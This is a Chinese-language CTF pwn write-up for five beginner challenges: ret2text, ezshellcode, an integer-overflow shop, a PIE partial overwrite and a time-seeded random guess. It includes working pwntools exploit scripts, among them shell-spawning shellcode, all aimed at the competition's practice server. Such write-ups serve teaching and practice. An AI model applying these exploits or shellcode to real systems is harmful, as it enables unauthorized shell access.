0x00 前置技能
C语言,Python,pwn相关的linux环境(wp中的环境除特别说明外皆为Ubuntu22.04.3和Win11)(环境配置:从零开始搭建Ubuntu CTF-pwn环境_pwndbg安装_C0Lin的博客-CSDN博客) ,pwn相关的入门知识(pwn入门:https://blog.csdn.net/weixin_45004513/article/details/117332121还有很多参考资料不一一放出),IDA,ELF文件结构,...
如果发现错误或有更好的解决方案,望各位师傅不吝指出!
0x01 ret2text
Hint:简单的栈溢出
先checksec一下看看题目附件是多少位的二进制文件,顺便看看开启了哪些保护
64位小端序,没有开canary可以放心溢出。拖进IDA64分析,按F5生成C伪代码
函数列表中有后门函数可以getshell,查看后门函数地址:
只要劫持程序跳转到0x4011FB处即可。发现main函数中有read函数,且读取0x100字节给buf,远超程序给buf分配的0x20字节内存。构造payload为0x20的垃圾数据+覆盖rbp的8字节+后门函数地址覆盖rip。
Exp:
from pwn import *
context(os='linux', arch='amd64')
# r = process("../newstar_week1/ret2text")
r = remote("node4.buuoj.cn", 26077)
payload = b'a'*(0x20)+p64(1)+p64(0x4011FB)
r.recv()
r.sendline(payload)
r.interactive()
运行脚本:
最近发现装了pwntools库后其实直接运行也是可以的,只是没那么好看
0x02 ezshellcode
先checksec
发现开了NX保护,栈不可执行。总之先拖进ida64看看
没有后门函数,连system函数都没有,shift+F12发现也找不到/bin/sh。只能自己构造一段shellcode(此处要注意一定要用context定义arch为amd64,因为pwntools默认程序为32位,而32位的shellcode并不适用于64位程序中),但是不能放到栈中,因为NX不可执行。 发现伪代码中出现一个mmap,没见过,查一下:https://blog.csdn.net/agonie201218/article/details/123791047?ops_request_misc=%257B%2522request%255Fid%2522%253A%2522169632143716800185829933%2522%252C%2522scm%2522%253A%252220140713.130102334..%2522%257D&request_id=169632143716800185829933&biz_id=0&utm_medium=distribute.pc_search_result.none-task-blog-2~all~top_positive~default-1-123791047-null-null.142^v94^insert_down28v1&utm_term=mmap&spm=1018.2226.3001.4187
mmap的第三个参数为7意味着该内存映射可读可写可执行。又发现main函数执行完read函数后直接就往mmap里跳,好极了,只要我直接往buf里写进shellcode就结束了。Exp:
from pwn import *
context(os='linux', arch='amd64')
# r = process("../newstar_week1/ezshellcode")
r = remote("node4.buuoj.cn", 25441)
payload = asm(shellcraft.sh())
r.sendline(payload)
r.interactive()
0x03 newstar shop
保护全开,不带这么刁难新手的QAQ。但是从另一方面来讲,既然无法从正常的构造exp下手,也许运行程序本身就能pwn掉它。总之先看看程序逻辑:
函数很多,乱糟糟。想要getshell需要9999money,试了试直接买发现不行,双击变量看到money初始化只有0x64又因为hour变量限制不能无限赚钱。通过“gift”得知考察的是整数溢出。在买东西的时候money是无符号整型,那么只要想办法让money扣到0以下就能出现回绕。买东西前都会检查money够不够,没法直接扣到0以下,但是发现dont_try函数可以无条件扣钱。那么思路就是运行程序后一直买gift到买不起后,触发dont_try,就可以买shell了。
程序运行输入顺序:121211313
0x04 p1eee
与第一第二题相比,保护多开了个PIE,即地址随机化,题目也明显提示了PIE,于是去查PIE绕过,得到以下认识:
- 地址随机化,但是程序中各个节的相对位置不变,也就是说如果你能得到运行中程序的任何一个可辨识地方的地址,就可以通过该地址与目标的偏移来获取目标的真实地址。但是前提是得想办法泄露地址。
- 如果不能泄露地址,那么可以考虑partial write的方法,即部分写入。因为程序实行分页管理机制,所以在一页内地址之间的偏移量不会变,且一页的长度为0x1000,这也就意味着任何一条指令地址的低三位数值(十六进制下)都不会变,也就是地址的低1.5字节不变。但是输入或者覆盖只能覆盖整数字节,所以如果要三位都覆盖,那么第四位数值就要通过爆破覆盖,每次爆破十五分之一的概率成功。
看看ida分析(注意这里不是main函数,而是关键函数,main函数负责调用此函数)
再一次提示PIE绕过,右后门。一看有溢出9字节,且金丝雀没开,可以覆盖跳转。刚好覆盖完rbp的8字节后还剩一字节给到rip。因为程序是以小端序储存数据,地址从低往高存所以rip的第一个字节刚好可以覆盖为地址中不变的低三位中的低两位。那么第三位怎么解决呢?注意到关键函数执行完后还要返回到main函数,其与后门地址的第三位都一样,不用覆盖就能通。思路确定,写exp:
from pwn import *
context(os='linux', arch='amd64', log_level='debug')
# r = process("("../newstar_week1/p1eee")
r = remote("node4.buuoj.cn", 27545)
payload = b'a'*(0x20+8)+b'\x6c'
# print(p64(0x00001264))
r.recv()
r.sendline(payload)
r.interactive()
这里选取的地址是0x126C而非system函数最开始的0x1264是为了解决64位程序栈平衡的问题。在ret2text中解决栈平衡的方案有很多种(比如加ret地址,加retn地址,加lea地址等),但此处因为溢出字节有限只能直接跳转到lea解决。关于对栈平衡问题的出现原理及解决方案可以参考:x86 - libc's system() when the stack pointer is not 16-padded causes segmentation fault - Stack Overflow
0x05 random
(linux环境为Ubuntu20.04)
根据经验,保护全开的话,目前先考虑顺着程序本来的的运行逻辑入手,而非通过跳转来劫持程序运行流。有后门,但是要猜中随机数,随机数种子是time(0)。查找思路时得知,如果种子确定,则rand函数就会生成一个序列确定的为随机数。则可以调用本地的库来规定种子生成随机数并发送。Exp:
from pwn import *
from ctypes import *
context(os='linux', arch='amd64')
r = remote('node4.buuoj.cn', 26193)
# r = process('../newstar_week1/random')
libc = cdll.LoadLibrary('/lib/x86_64-linux-gnu/libc.so.6')
libc.srand(libc.time(0))
k = libc.rand()
r.recv()
r.sendline(str(k))
r.interactive()
考虑到网络时延,可能会出现错误的情况,多试几次就好了。但是调试过程中还有一种报错:后来看了官方wp,有这么几句话所以出错了的话试多几次就行